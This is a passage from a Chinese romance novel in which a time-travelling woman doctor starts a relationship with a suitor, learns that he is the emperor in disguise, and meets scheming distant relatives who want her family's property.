苏颜妍仿佛看见一只蜷缩成团的狗狗,满身满心都是对主人的热情真心。被拒绝扑到身上贴贴,明明浑身都是失落,垂头丧气的,但是全身全心的专注都投射在主人的身上,故作不在意也掩不住耳朵在悄悄听,眼睛在悄悄看。
她心中叹息,拒绝的话再也说不出口。他没有直接表白,她也没办法挑明。现在她的情绪也成了一团乱糟糟的线,和他的缠成一起,无法理清。
“真是拿你没办法,总是曲解我的话可不行。”苏颜妍说:“现在把你脑袋里所有关于我的想法都停下,看着我。”
她说:“你不要做感情里的挡箭牌,你可以有属于自己的真实的喜欢,真实的感情。不要消耗自己的热情,它很珍贵,我不忍心消耗它。”
萧景琮从她的眼里,话里,从她的语气里,汲取到了真诚,肯定,友善与温情。
或许,她并不是拒绝他,也不是因为讨厌他,才拒绝他饱含私心的提议。
有可能吗?她真的珍视他的感情?明明他都要捧着它送到她手里了,是她不接受。为什么?
他说道:“它对你有用,不会消耗。不要多想,我愿意这样,以后也不会后悔。”
苏颜妍戳破他的谎言:“万一,我以后有了真心喜欢的人,你真的不会后悔吗?”
萧景琮一秒戾气横生:“谁?”她喜欢谁?他要杀了他!
“骗子。”苏颜妍看着他,直起身,没有退后,也没有移开目光:“提醒过你还执意去撞南墙,真是固执的家伙。”
看在这张帅脸上,她已经给过他机会了。她并不是圣人,有人热烈地爱着她,像夏日的光,带来充沛的热与能量,她也会目眩。
萧景琮本能感受到她的语气松动,不由自主倾身,手握成拳捏紧又放松,克制住抓握她的欲望。他再次沉声许诺:“不要把我的提议当成负担,我愿意充当你相亲的挡箭牌,哪怕是假的,我也愿意。”
“哪怕所有认识的人都以为你和我是一对,你却不能触碰我一下;我娘催促我们定亲、成婚,你也不能真的得到一个娇妻;你的家人或许会非常不理解,我也不会去和他们增进感情,仲景,感情不是你付出,一直付出,就能得到对等回应的。你想清楚,你燃烧的火能融化一片冰原吗?”
苏颜妍舒展眉头,不再克制自己,他离她近到她抬手轻易就能摸到他的脸。他是她遇到最贴近“平等”的人,她对待朋友与对待男朋友,完全不是一种待遇。
朋友是可以付出友善的,双方应当互相划定界限,在各自的领域里,互相辉映。
男朋友,则需要交叠领域,要走进她的世界,遵她的规则,守她的法。亲密伴随着管束,束缚伴生安全,灵魂交融本就伤筋动骨,他何必强求。
萧景琮的回复是,凑近,侧头,他的眼睛紧闭,睫毛颤抖,轻轻贴近她,唇齿相依。
一个蜻蜓点水的吻。
意外的纯情。
苏颜妍想,古代的男子,像仲景这般的,真是凤毛麟角。如果她连仲景都没法爱上,这个世界恐怕也没有任何一个人能让她喜欢了。试试吧,不是挡箭牌,把他当做男朋友
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那样。
她捏捏他软软的耳垂,捧起他喘息低垂的脸:“嘴上说着假的,不会当真,让我相信你。行动上倒是截然相反呢,大骗子。不过呢,你的申请我通过了,好好表现呀,男朋友。”
“什么?”萧景琮倏忽抬眼,望进她含笑的眸中,他没弄明白什么申请什么男朋友,却从她的眼、她的笑、她的唇角眉梢,明白他似乎已经获得了一枚钥匙。
他进入了她的秘密王国,他俯首称臣,他获得了封号、权力和武装。
心跳、呼吸、眸光,专注且关切,情意流淌。
“妍娘——”房门打开,苏夫人抬头,整个人愣住,身子一晃,靠在门框上。
房内,苏颜妍和萧景琮两两相望,目光难舍难分,空气中弥漫着粉色泡泡。任何一个人都能看得出,两人关系亲密,非同寻常。
听到苏夫人的声音,苏颜妍和萧景琮讶然转头,连节奏都同步一致,心有灵犀。苏夫人只觉得天旋地转:“妍娘,你和这位郎君,是什么关系?”
怪不得她抗拒相看人家,原来有心仪的男子了吗?她为什么不告诉她啊?她是她娘亲,最亲近的家人啊!她心爱的独女,怎么会瞒着她,与人私定终身?!
苏颜妍松开萧景琮,急忙扶住苏夫人,让她坐在旁边胡椅上。她使眼色给萧景琮,示意他出去,萧景琮抿紧唇,起身关上房门,靠在门内不动了。
这家伙!苏颜妍无奈,他呆在这里,她怎么哄苏夫人啊。与人家女儿私会被撞了个正着,他能讨得了什么好,真是笨家伙。
苏夫人深吸口气,左右看了看他们俩,她看得懂眼色,心中更是坠坠的:“妍娘,你与这位郎君,认识多久了?你不肯去相亲,是因为他吗?”
自然不是的,那会儿她还没和他搅合到一起呢。可惜这话不能直接说,不然疯的不止苏夫人,还得加上个萧景琮。
苏颜妍只好先顺着说:“娘,我没有要瞒着你,我们也是今天刚刚说开。这是仲景,就在咱们家周围,新搬来的那家人,就是他。齐大郎和林玉珠害我,是他一直帮我的。”
“你这孩子,怎么能这样不注意,女子比不得男子,名声比天大。”苏夫人警惕地盯着萧景琮,容貌长得是俊俏。只是男子光有脸可不成啊,妍娘顶着门户呢,可别招来心思不正的人,祸害人可怎生是好。
萧景琮嘴唇微动,想要说话,被苏颜妍一瞪,缩了回去。
苏夫人愁了一会儿,回神正好看到这俩人眉来眼去,心中重重一坠。
女大不中留啊,妍娘这是认定这个小郎君了?她晌午还嚷嚷着忙医馆,这会儿怎么也不说改啊革呀的事了?
不行,她得好好帮妍娘掌掌眼,问问到底是怎么个事。
她打定主意,定了定神,对苏颜妍沉下脸说道:“妍娘,你先出去避一下,我和这位郎君谈一谈。”
苏颜妍哪敢让他们俩待一起,她娘一开口,萧景琮搞不好敢直接应承跳过谈恋爱直接定亲成婚。
她心思电转,对她新出炉的男朋友下指令:“仲景,你先出去,我和我娘谈一谈。”
28. 男朋友棒
所以说,人就不能干坏事。
苏颜妍就放纵自己沉溺了一会儿男色,拒绝指令不彻底,就给自己招惹了个男朋友。
偷偷谈个恋爱也不算大问题,偏偏粉红泡泡满屋飘,被苏夫人逮个正着。这下不给她娘个说法,这个传统妇人从现在开始就吃不下睡不好啦。
横眉竖目打发走黏人的萧景琮,苏颜妍开始在心中打起草稿,准备好好忽悠忽悠苏夫人:“娘,您有什么想问的,我给你说。”
苏夫人深吸口气,恨恨地捶了她一下,没舍得用力:“你这丫头,真喜欢那小郎君,也不能就这样容易和他私底下处着啊。你知道他家里什么情况吗?真合心意,理应让他三书六礼,堂堂正正,明媒正娶。”
“古往今来,多少私相授受的男男女女,酿成了多少悲剧。守礼守的是规矩,规矩保护的是你自己。”
苏颜妍任她数落,附和着啊对对对,是是是,您说得对。
主打一个有错就认,死不悔改。
真诚且敷衍,可算是挺到苏夫人说到了尾声:“你真喜欢,娘也不是不同意,让他家里找媒人来下礼,咱们不能落人口实,让人笑话。”
苏颜妍赶忙道:“娘,你还真想把我嫁出去不成?我和他好好说说,咱们让他入赘也行啊?”
“好男儿哪有同意当赘婿的,你别想一出是一出。娘舍不得你,也不能耽误了你。”苏夫人有些喘,捂着胸口缓了缓,看她一副不服气的表情,无奈地笑了笑:“好孩子,你是个有主意的。若和你比本事,十个娘也比不过你。婚姻大事不一样,你没经历过,不晓得其中的深浅。你真有心,好好和人家说说,互相商量着来。”
“好哦。”苏颜妍应着,心道可算是结束了,待会儿记得找萧景琮通通气,可不能让他说漏嘴。
就这样,苏颜妍算是勉强过关,和萧景琮过了明路。
萧景琮也不再避讳苏夫人,常常接送苏颜妍,从苏家到医馆,或是出门或是帮忙安排修整,两人一直黏在一起。
后话不表,送走苏夫人,苏颜妍捉住萧景琮,磨着他给她乔装。
“我现在只穿了男装,仔细看还是个女孩子的样子,你那个面具有其他款式的没有?借我!”苏颜妍绕着他团团转。
萧景琮堵在胸中的郁气被她磨得尽数散去,不得不讨饶:“真没有,那些成品面具都不能用,我略懂一些小技巧,现在尽数告诉你。”
“好哇,男朋友真棒!”
苏颜妍凑在镜子前,细细打量自己的脸,现在她的白皮肤敷了一层黄粉,变成偏灰的暗铜色。眉毛巧妙的增粗加黑,配在脸上,十足英气。
神奇的技术,如同化妆界进阶魔法,堪称黑科技外挂手段。许多匪夷所思的运用技巧,造就了奇妙的人脸伪装。
“发明这种技巧的人是个天才!”苏颜妍惊叹,“了不得的技术巧思。我出去完全不会有人能看出破绽,天哪仲景,你也是厉害,能记住这么复杂的步骤。”
萧景琮听到她的夸赞,嘴角上扬,摆出一个矜傲的表情,然后克制不住喜悦泡泡,让自己整个变成呆头鹅。
“咳!”他尽力平复情绪,故作寻常:“雕虫小技,我们现在出发吧?”
“好耶!”苏颜妍原地跳了一下,调整姿势,让自己的行为贴近男装符合的样子,学着大多数男性,大大咧咧走了几步。
她拉着皱着眉头的萧景琮一起出门,去往城中,两人瞧着如同关系很好的哥俩,偶尔互相拍打碰撞,也是一派亲密表现,引得看到的人们会心一笑。
“出来逛街为什么还要伪装,就算你原来的样子,这些百姓也不会隐瞒你吧?”萧景琮看苏颜妍走走停停,一会儿兴致上来就和街边的行人交谈,询问常吃的食物,喜欢的东西,家中老人孩子进食。东一句西一句,尽是些琐碎寻常事。
苏颜妍捏起嗓子,让声音显得低哑中性,更贴外表:“我现在和他们说,他们不会觉得是一个医生在询问。医生的问话和普通相遇随意交谈是不一样的,他们会自然说出自己平常的真实习惯。我想要知道的,不是绞尽脑汁思考后的答案,那对我后续的改革没有什么大的作用。”
“他们说自己平常的生活,和你的医馆能有什么联系?”萧景琮还是不以为然:“你想要怎样改,改就是了,我会帮你完成你想要改成的样子,不需要多想多思。我总会支持你的。”
唉,霸道的男人。苏颜妍暗暗摇头,她并不想和萧景琮吵架,所以克制了心中一瞬浮起的无语:“我如果一生只有你一个病人,那会让我非常非常的失落。我最想做的,就是用我的知识,帮助需要帮助的人们。帮助他们摆脱牙疾的纠缠,是一件有意义的事情。那让我感到满足。仲景,改革不是一个人拍拍脑袋就可以决定方向的,它需要朝向对更多患者有利的位置去变化。”
萧景琮脸上浮出困惑,他无法想象也不能理解:“你自己的医馆,和这些人能产生什么关联呢?想改就改,花用的不是他们的银子,也不需要他们付出辛劳苦力。你今天就算把医馆改成饭馆,对他们又有什么影响呢?”
景朝可没有哪一条律法,要求个人产业改良变更需要其他人的许可。
苏颜妍这下完全明白什么叫做鸡同鸭讲了:“你说的都对,没有人可以改变我的意志。这点你完全没有理解错,感谢你对我的大力支持。我现在想要做的,就是现在正在做的。这两点没有冲突,陪在我身边,听我和别人说话,我收集完足够多的信息,咱们俩就去找地方吃饭,好吗?”
萧景琮点点头,见她赞同他的意见,也不再反驳,紧紧跟在她的身边。
炎炎暑气蒸腾,地面变得烫热,街上人逐渐变得稀少,大家都开始避开高热时间,坐在路边树荫下或房屋阴凉处。
苏颜妍满头汗,招呼萧景琮:“走吧,想到哪里吃东西,我们一起去呀。”
萧景琮用折扇给她挡阳光,带她坐到等候许久的马车上。车厢内摆着冰盆,凉意扑面,苏颜妍舒服地叹出一口气,软软瘫坐在车靠座上。
萧景琮眼中满是疼惜:“
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这会儿天太热了,你真想知道什么,我吩咐人帮你去询问,你不要自己出来,中暑伤身,要珍惜自己的身体。你要是不放心,可以把问题一条条写下来,我保证他们按照你的要求,半分不打折扣地执行记录。”
“不用了,我已经收集够足够的讯息了。”苏颜妍笑了笑,她可不想随意打发别人去问这些,收集讯息不只是听话,察言观色,结合谈话氛围,有的是无法写在纸上的潜意识小动作。出来一次虽然很累,却很值得。
她现在已经对改革医馆更有信心,心中也有了一套清晰的方案,只等着回家就可以开始执行了。
而现在,她只要和陪她一起受热受累的新鲜男朋友,好好度过一个美好的约饭时光。
马车停在了富贵楼,一家声名在外、有口皆碑的酒楼。
萧景琮带她一路进到二楼包厢,一盘盘精致且美味的食物摆满长桌。萧景琮用手背贴近一桶蜜褐色汁水,温度凉凉的,正适合开胃消暑。他执起碧色玉勺,为苏颜妍添了一小碗。
“尝尝,他们家会根据季节,搭配合适的时令汤。”
苏颜妍已经用湿毛巾草草擦洗过脸脖手,闻言拿起汤匙,小口品尝。
汤中有小颗粒果粒,入口清甜不腻,带着一股果香,凉凉的,一口下去,燥热尽消。
“好喝!”她眼前一亮,甜甜看着萧景琮,眼睛弯弯,嘴角上扬,露出两个浅浅的梨涡。
“喜欢?我可以让厨子专门为你服务,你想喝随时可以在家喝到。或者,你想要配方吗?我让他们给你一份,自己保留想喝就做。”萧景琮见她开心,心中很是满意,立刻盘算着将酒楼添置到自己的手中,方便苏颜妍取用。
他一点没觉得这有什么困难,只要他想,天下所有奇珍异宝任他取用,区区一个酒楼或秘方,他完全不放在眼里。
苏颜妍又一次浮出笑意,为他霸总式发言。她好笑又心中熨帖:“我喜欢的,是你陪在我身边。就算是白开水,现在我喝到肚里,也觉得好喝啊。我们在这家店里,算是有了一个美好的回忆。每次回想起夏天外出,想到消暑纳凉的法宝,就想到今天。这是个好印象,是不是?”
萧景琮脸上挂上一丝绯红,眼中水润浮光粼粼,他点头轻声应道:“嗯。”
他宫中食物精美奢华美味可口,他食之无味;现在,陪在她身边,随便什么寻常或者不寻常的食蔬,都是让他开心的佳肴。
想带她去品尝更多更多的美食,去喝更鲜更美的酒水,去获得更多更有意义的回忆,一想起这些,他就飘飘然,如同陷进一个舒服的美梦里。
这是最好的一天,萧景琮今日与苏颜妍确定了关系、亲密且心心相惜。等他将她送回家,将会是一个更圆满的约会记忆。
意外就是发生在出酒楼的那一刻。
萧景琮与苏颜妍一拳之隔,从二楼楼梯拾级而下,刚行至一半,与另外一行人狭路相逢。
双方一照面,对面的人错愕地出声:“萧景琮,你怎么呆在这儿?你哥呢?”
29. 离谱的男朋友
酒楼长廊,狭路相逢的双方人马,互相盯着对方,无声对峙。没有人说话,楼下食客推杯问盏的喧哗声,成了响在耳边的清晰音。
苏颜妍心中奇怪,她看看身边的萧景琮,又转头看看对面为首的人,这两人是认识吗?怎么能把熟人相见搞成两军对垒?
她戳戳萧景琮,噫,胳膊上的肌肉硬成钢板。就好像此刻他正绷紧浑身的劲儿,拉响警报,时刻准备冲刺似的。
他在紧张什么?
只是遇见个认识他的人,有必要这样吗?
苏颜妍心中升起小小的疑惑,她不由得再次将目光转向对面,细细地看。
难不成,这人来者不善?
殊不知,萧景琮一瞬心跳真是猛然跳到喉咙口!
真是怕什么来什么,叫住他的不是旁人,正是苏颜妍几次三番想见见的易容高手,他的大嫂,袁因。
他为东宫的那些年,亏欠大哥良多。是袁因找上他,点醒他,才没酿成更坏的结果。
他感谢有人帮到大哥,也曾怨恨她完全抢走了大哥。还是苏颜妍开解,他最近才解开心结。
袁因这女人向来鬼精的很,他真是担心她一时兴起,把苏颜妍也拐带走,他要怄死的!
再说,他还没来得及告诉苏颜妍,他真正的身份姓名。袁因撞破他们,万一提前捅出来,他真担心苏颜妍生气,不再理他。
他僵着脸,不言不语,希冀袁因那女人识相些,别凑上来,赶紧该干嘛干嘛去。
苏颜妍见他一直僵着不动,慢慢浮起担忧。
对面为首的是一位美的锋利有攻击性的御姐,身量高挑,纤侬合度,让人一见就惊艳。
萧景琮长久沉默,让气氛逐渐凝固,苏颜妍不可避免进行了一系列脑补。
超过十条的狗血支线在她脑子里铺展,每一条都不可避免走向崩坏。
比如:她是他门当户对的未婚妻、针锋相对的掌家长姐、曾经情浓最后分道扬镳的前女友、白月光朱砂痣……
她那样美,那样颠倒众生,气质又很是高贵冷艳,如同火焰,耀眼灼热,吸引人又让人不敢靠的太近。
苏颜妍脑补的上头,心中涌起一阵愤怒火星,拇指食指掐着萧景琮的腰侧就是旋转一拧。
“嗷——”萧景琮捂着痛处痛呼出声。
对面女子噗嗤一声,笑了起来。
萧景琮正委屈巴巴看着苏颜妍,听见嘲笑声愤怒转头,指责道;“袁因,你这个可恶的女人!遇见你就没好事,走走走,别挡路。”
他小心翼翼弯腰凑到苏颜妍面前,低声下气道:“苏姑…公子,我们先走吧。”
离那个变态的女人远一些,千万不要被带坏了。
苏颜妍没应声,很不满意瞪着他,等着他继续解释。
萧景琮头大,仿佛成了一个围着刺猬团团转的狗子,无从下手。
他们俩大眼瞪小眼,胶着成一潭分不清彼此对错的黏着空间,对面看好戏般的女子终于受不了似的,打破了这种氛围。
“呵呵,用的着时叫我大嫂,嫌我碍事就敢直呼我可恶的女人?萧景琮,几年不见,脾气见长啊。”袁因挑挑细长的弯眉,抬手示意身边的人清场,待人离开,只余他们三人时,上前几步,挤开萧景琮,站在苏颜妍面前。
她抿嘴笑着上下打量,了然道:“这位…公子,贵姓芳名?我是袁因,萧景琮的大嫂,幸会幸会。”
苏颜妍见她笑,一瞬有被感染,不由得也舒缓心情,友好回应:“你好,我是苏颜妍,幸会。”
她没有说她的身份,萧景琮顿时急了:“她是我的嗯…朋友!袁因…大嫂,你怎么跑到酒楼来找我哥?我哥没在宫…嗯、家里?我们已经吃完饭,这就要走了。你要找我哥就找去,别跟着我们。”
他说完就想拉着苏颜妍离开,伸出的手没摸到人。
袁因身形灵活,一晃一移,风度翩翩格挡开那只手,稳稳挡在苏颜妍身前。
她冲苏颜妍嫣然一笑,冷艳化为明媚迷人,带着苏颜妍几步退到墙角,长袖一甩,爽朗说道:“这位''公子''既然是好朋友,今日巧遇,我这个做嫂子的,应当好好招呼一番呀。何不一起喝个茶、听个曲儿,咱们好好聊聊天啊。”
看到她眼中的揶揄之色,苏颜妍竟有些害羞,很明显对方已经看出她是女扮男装,在这里点萧景琮呢。
她按捺翻涌的情绪,待到平静下来,点头应道:“行,一起聊聊吧,我也想要多了解仲景的事,打扰了。”
富贵楼不愧能冠以富贵之名,很快便重新安排了幽静的包厢,门一关,喧闹之音顿时消失,只余丝竹声声,飘飘渺渺传来。
袁因很是肆意,招呼苏颜妍坐下,抬手执起茶壶,行云流水一套茶礼,蜜色茶水从壶嘴流到杯中,茶香四溢。
苏颜妍颔首感谢,单手虚点杯身,垂眸整理思绪,稍后抬眼看向对方,主动开口:“我和仲景因缘相识,我与他很是合拍。之前听他说过家里的事,本来应该上门拜访的,不想今日意外遇到。我此次是乔装出门,没能用真面孔,失礼了。”
苏颜妍知道萧景琮父母双亡,家中放在心上的,只有一位义兄。这位遇见的女子,是他大嫂,当是那位义兄的妻子。
谈恋爱当天被抓包一次,第二次也就不那么麻爪了。对方只是大嫂,苏颜妍并不是很担心。
袁因笑意更浓,眼中流露出真实的喜爱:“好,真是大方得体的好姑娘。那小子恐怕没有跟你说,他会的那点乔装本事,都是跟我学的吧?”
苏颜妍惊讶:“你就是那个易容大佬?我想见你很久了!”
真实的变装绝技呢,这种手艺居然是位飒爽迷人的大姐姐,真是太酷了。
“喜欢吗?想学可以来找我,我教你啊?”袁因勾起嘴角,余光扫了铁青着脸的萧景琮一眼,故意挑道。
苏颜妍面露憾色:“真是不巧,我最近要忙医馆的事,改成专科要忙许多,恐怕没什么时间。”
“哦,你是大夫,还有一家医馆呐?”袁因很是意外,托着下巴前倚在茶桌上,眨着眼,兴致勃勃道:“那我可以去你家医馆找你吗?你更擅长治哪一科的?萧景琮认识你,难道是通过看病?他哪里有……”
袁因的声音越说越兴奋,萧景琮受不了她,拍桌打断:“够了!你能不能矜持一点?我哥不在这里,你收敛一下省得被人套麻袋。”
袁因白了他一眼,对苏颜妍说:“你看这家伙,真是没礼貌。妹妹你人聪明又有本事,就是眼光不行,怎么看得上他了。”
“喂!”萧景琮不满嚷道:“我哥才是眼光不行,怎么能看上你这种人。”
苏颜妍听她打趣,脸上一红,瞪了萧景琮一眼,看的他委委屈屈贴过来,不明所以。
这家伙真是,表现这样明显,被家人看出他们的关系了还不知道露馅了呢。
好笨。
她对袁因简单讲了讲:“我是家里独女,父亲意外失踪,差点被抢走医馆。当时仲景牙疼来就医,我帮他拔了一颗牙。后来就熟了,他陪我一起去岐黄谷找坐诊大夫,他帮我良多。”
袁因满是意外看着苏颜妍,没想到萧景琮这小子能喜欢这样的女子,挺有福气的啊。
一朝家中巨变,能坚强到顶门立户,保护自己和母亲,保住自己的家产,这可不是普通女子能有的魄力和本事。
如此心性手腕,配萧景琮,绰绰有余。
她问苏颜妍:“那现在呢?怎么又要改革医馆?如果有哪里需要帮助,可以直接让这小子去做,他乐意的很。”
说着她忽然脑中一转,发觉不对劲,她偏头看着萧景琮,果然发现这家伙跃跃欲试中带着忐忑。
好家伙,难道萧景琮没把真实身份给人家小姑娘说吗?
她按下怀疑,面上一副无所谓的样子,继续对苏颜妍说道:“毕竟,那小子脑子虽然不怎么样,身份还是有点用处的。他有没有给你说,他手下有不少能人,可以办成许多事啊?”
萧景琮连忙点头,抢着说:“我人都在这里了,有需要帮忙的肯定会出手。大嫂,你快去找大哥去吧,省得他一个人忙不过来。”
赶紧离开,别再掺和他和苏姑娘之间的事情了。
苏颜妍皱起眉头,她知道仲景因为义兄的事情一直对他大嫂有点抗拒,但是这
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样面对面都难交流,三五句话就开始催促人离开,未免有点太过了。
让他义兄知道,搞不好心中还得生气。
自己的义弟与妻子不对付到这种连话都要说不成的地步,换成谁都要难过的。
真奇怪,上次明明说已经和解放下了,难道是在逞强骗她?
他家到底是怎么个情况,难道还有其他事情没有告诉她?
他们两人都确定恋爱关系了,家庭方面,萧景琮对她家了如指掌。她确实需要多关心他的家庭一下了。
然后,她后知后觉,发现仲景的大嫂一直喊他“萧景琮”。
不是,名字一直以来都是假的吗?事情是不是有点大条啊?
苏颜妍目光闪烁,心虚地问道:“那个,袁因姐,他名字叫萧景琮吗?”
袁因再也忍不住,哈哈哈笑出来。
宛若天降玄雷,萧景琮是被劈中的鹅,呆呆绷直身体,四肢百骸都仿佛在冒黑烟。
完蛋,真的忘记给苏颜妍说他的名字了。
他不会是全景朝第一个,表白心上人当天就被分手的人吧……
苏颜妍看他们俩的样子,哪里还不明白。
她捂住嘴巴,心中尖叫:居然是真的、这样离谱的事情居然是真的!
仲景、不,萧景琮!你真是个坑货啊!要不要这样抓马,都见家人了,他居然没告诉她真实的名字!
袁因好不容易止住笑,擦擦眼角笑出的泪,站起来说道:“看来,有的人得好好解释一下了。苏姑娘,我先退场,咱们后面再好好聊聊。”
她潇洒地走了,丝毫不管被她点着的烽火硝烟,徒留下苏颜妍与萧景琮,两两相望。
苏颜妍慢慢、慢慢竖起头发,炸毛一般。她磨磨牙,逼近萧景琮,手掌啪的一声,撑在他身侧桌边,将他圈困在墙与桌椅之间。
“萧、景、琮——”她拉长音调,咬牙切齿:“你瞒的我好苦啊——”
可恶!骗人的男人不配拥有女朋友!
萧景琮高大的身体蜷缩在桌边墙角,被苏颜妍几欲喷火的眼神钉住,像一只被猫盯梢的鼠,可怜又搞笑:“妍娘、妍娘,请听我说……我错了,我错了,我错的离谱,给我一个解释的机会,听我狡辩!”
他悄悄将自己的大手蠕动到她纤长的指尖,温热的掌心包裹住她小巧玲珑的手,引导她坐下来。
他快快地把自己的身份交代,如同那些话烫嘴一般:“我当时也是乔装出行就是为了抓住叛党破绽,从岐黄谷回来后忙的就是尽快清理他们,省得他们知道你,暗中给你使坏。后来我们关系越来越好,我也想把真实身份告诉你,还没来得及说你就遇到袁因那女人,就成现在这样子了……你不要生气……“
他目光专注,盯着苏颜妍,性感的低音在舌尖呢喃:”…女朋友——“
此刻,万语千言,无声胜有声。
他的目光、他的唇舌、他的一切举动,都在无声说着:
原谅我,女朋友。隐瞒非我本意,真实本就是你掌心的猎物,你一招手,它就会欢快停在你面前。
原谅我,女朋友。你眼前这个人,从头到脚,都已经是你的掌中之物。
苏颜妍心绪起伏,一时被萧景琮的话惊住。
她想过或许会与他携手一生,他家庭如何,贫穷或者富有,其实都是无所谓的。她自己就能经营医馆,推行科学治疗,能用自己学到的知识救助一方百姓,这让她满足。
可是,如果萧景琮的身份是当朝的皇帝…天呐,一国的皇帝,居然就这样天天晃荡在她身边…何等窒息的感觉!
昏君竟在我身边?!
她突然想起前倨后恭的岐黄谷大夫们、皇城司官差们,后知后觉品出他们退让的原因:有萧景琮这样一尊大佛,他们哪里还敢造次!
她又想起萧景琮平日的言行,恣意,我行我素,自我且自由。
她一直喜欢和他在一起时的自由,原来真相是这样的。
男朋友,哈!她找了个什么男朋友。
“萧景琮,或许我们需要彼此冷静一下。”
她有些无力地说着,垂下了头。
30. 苏家远亲
康*微服私访记、戏说*隆、龙游*下,故事主角竟在她身边?
苏颜妍紧闭双眼,不敢睁开。
可惜她面前的不是幻觉,是一个任性起来如同二哈拆家的存在。
萧景琮完全不能接受分开冷静的说法,他固执地堵住苏颜妍离开的路,将她困在包间里。
一件坏事没有发生前,可能会生出千百种忧怖想象,但事情真的发生后,这件事就不再可怕。
这时只有两个选择,放弃或者挽留。
萧景琮一刻都没想过放弃,他绝不接受放弃。他富有四海,权倾天下,他自认为除了隐瞒了身份,没有任何可以指摘的地方。甚至他的身份,曝光后也是加分项,天下女子,哪个能拒绝一位帝王的心意?
他心仪苏颜妍,认可她与众不同,可若是这份不同,连他也和别人一般无二,那可就大大不妙了。
他越想越委屈,他的心意是真的,帮助是真的,对她诺过的每一句话都是真的。他们甚至刚刚确定关系,今天本应是美妙的一天!
冷静什么冷静,他已经很冷静了,没有依从本心把她拘禁在深宫,放任她自由自在做想做的事情。
他还要怎么冷静!
他头摇的和拨浪鼓似的,满脸满眼都在传递“你这个无情的女人”。
苏颜妍看他这作态,又气又想笑:“天呢,你居然还觉得委屈?哪怕你真是一个普通的百姓,也比你是隐瞒身份的皇帝让我安心呢。我问你,你出宫这许久,朝中各种事情谁帮你处理?你哥?”
萧景琮理直气壮:“对,我哥本来就熟,他以前就是摄政王,现在帮我管管事怎么了?我也没全部甩给他,白天我陪着你,晚上回去我都熬夜处理公事呢。”
“那你还挺能耐的啊?皇帝陛下,您真是精力充沛、春秋鼎盛啊!”苏颜妍想翻白眼,由衷佩服他,看他往日的黏人行程,还以为他是哪家富贵闲人呢。
“我们已经确定关系了,你不能放弃我。不然…不然…”
“不然怎样?你想用强权威胁我?”
萧景琮哽了一下,他要是舍得狠下心用权势威胁,现在哪里会陷入这样被动的地步。他深吸一口气,慢慢呼出,一个字一个字往外蹦:“不然、我就去找你娘告状,哭诉你始乱终弃,玩弄我的感情!”
“哈?”苏颜妍大开眼界,这种奇葩,居然也能当一国之君?
苍天啊,大地啊,穿越之神你是不是把她送错地儿了?
这个世界可以毁灭了。
“好妍娘,不要让我离开,我们就当今天遇见袁因这事儿不存在,你还要改革医馆,好忙好繁琐,你好好利用我做事啊。你知道的,只要你说,我总会听你的。”萧景琮软下神情,温声哄劝道。
外面日斜影移,苏颜妍乔装出门,确实不能在外面多呆了,不然苏夫人发现,少不得又是一顿哭天抹泪。
萧景琮又是指天又是赌咒,使出浑身解数,终于让苏颜妍转嗔为喜,隐瞒身份这事儿,算是过去了。
却说苏颜妍两人离开医馆外出时,苏夫人在家中,来了一行访客。
前几日写信说要进京的旧时远亲,论辈分是苏夫人族侄的苏东林,携他母亲孟氏、妹苏小香,带着大包小包,进了苏宅。
苏东林弱冠之年,能考入京城府学,文才不可谓不出众。本着给苏颜妍多铺条路的想法,苏夫人对这家人虽久远未接触不熟悉,也没拒绝他们来访。
没想到她这位族侄文质彬彬,进退得宜,他的母亲与妹妹却很是粗鄙。
孟氏与她同龄,久在乡下务农,脸上肤色黑黄,手上粗糙,说话嗓音夹杂着一丝口音,见到苏夫人就挑拣当年。
“哎呦,妹子你可跟着三郎享福了,当年在村里,就属你最瘦最弱,要不是三郎坚持娶你,十里八乡都没小伙敢要你。你这身子骨,也就三郎养你,真是好命啊。可怜竟是三郎先没个消息,好似他用自己的好命给你续上了。妹子,听说你也没给三郎留个后,以后这日子要怎么过?”孟氏许是久未见她,旧事续完状似可惜般,拉着苏夫人说道。
待她说完,苏夫人脸就白了。她说的委实难听了些,其实当年她与苏父并没有留在村中多久,与孟氏本就不熟。
她现在说这些,太过界,就仿佛把自己立在苏夫人头上当长辈似的指指点点。苏夫人虽柔弱,到底不是软弱懦弱。她还有女儿呢,哪里能由着一个只沾了同村同姓的人用话拿捏。
可没等她出声驳斥,苏东林就已经迅速起身制止孟氏,并向苏夫人行礼致歉:“婶子,我娘乡野村妇,口无遮拦,她心是好的,就是说的话不中听。我替她向您道歉,您别与她计较。我自小听父亲说三叔的事,歆慕三叔为人,听闻他在京城,更是心向往之。我用功苦学考中京城学府,想着不负三叔名声,才带母亲妹妹来拜访。惹您生气,是小子万万不想看到的。我这便带母亲妹妹离开,叨扰婶子了。”
说罢,他便示意孟氏与苏小香离开。
孟氏嘟囔抱怨了几声,不情不愿起身。苏小香更是满脸不忿,碍于兄长的命令,紧紧挨在孟氏身边,小声附和着。
苏夫人一口气闷在喉间,咽不下吐不出,房间一时气氛凝滞。
苏颜妍就在此时同萧景琮两个拉拉扯扯进了家门。
苏东林一行三人告辞正从苏夫人处离开,同苏颜妍二人正正对了个照面。
苏颜妍回程路上就卸下伪装,此刻一身男装,面容却是芙蓉出水,一看就知道是位女娇娥。苏东林一怔,立刻反应过来,主动招呼道:“你是苏三叔家的族妹吧,在下苏东林,是苏三叔族侄。初到贵地,携家眷前来拜访。”
苏颜妍越过他们,看向三人身后的苏夫人,见她面上殊无喜色,此时也没有上前引荐,心中便有了计较。她点点头算是回应,与他们擦肩而过。
孟氏见她连招呼都没打,脸色剧变,黑得如同锅底,眼中淬了毒似的,射向苏颜妍。苏东林脚步一挪,顺势挡在她面前,也挡住了她不善的目光。至于苏小香,她一双眼睛紧紧贴在萧景琮身上。她久居乡野,哪里见过这样丰神俊朗富贵凌人的公子哥。她表现太过明显,回过神来的孟氏心中不满,狠狠拧了她胳膊内侧皮肉一下。
一行人不再停留,离开苏宅,去往城
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郊租住的小院。
离开苏家后,苏东林的脸色就沉了下去。他冷声说道:“娘,你若是想让我在京中过的好些,就把心里那些念想藏好,别在人前就露在脸上。让人看到就猜疑,咱们能得到什么呢?”
孟氏气闷道:“我的儿,娘晓得。娘就是想到苏南星人都没了,他家那个蠢妇人,宁肯让一个丫头片子掌家业,都不肯让你这样优秀的族侄接手家产,我就气得肝疼。你看看她教的丫头,一个女人作男人打扮,老大不小还未成婚,还与外男拉扯不清,不守妇道的贱人!”
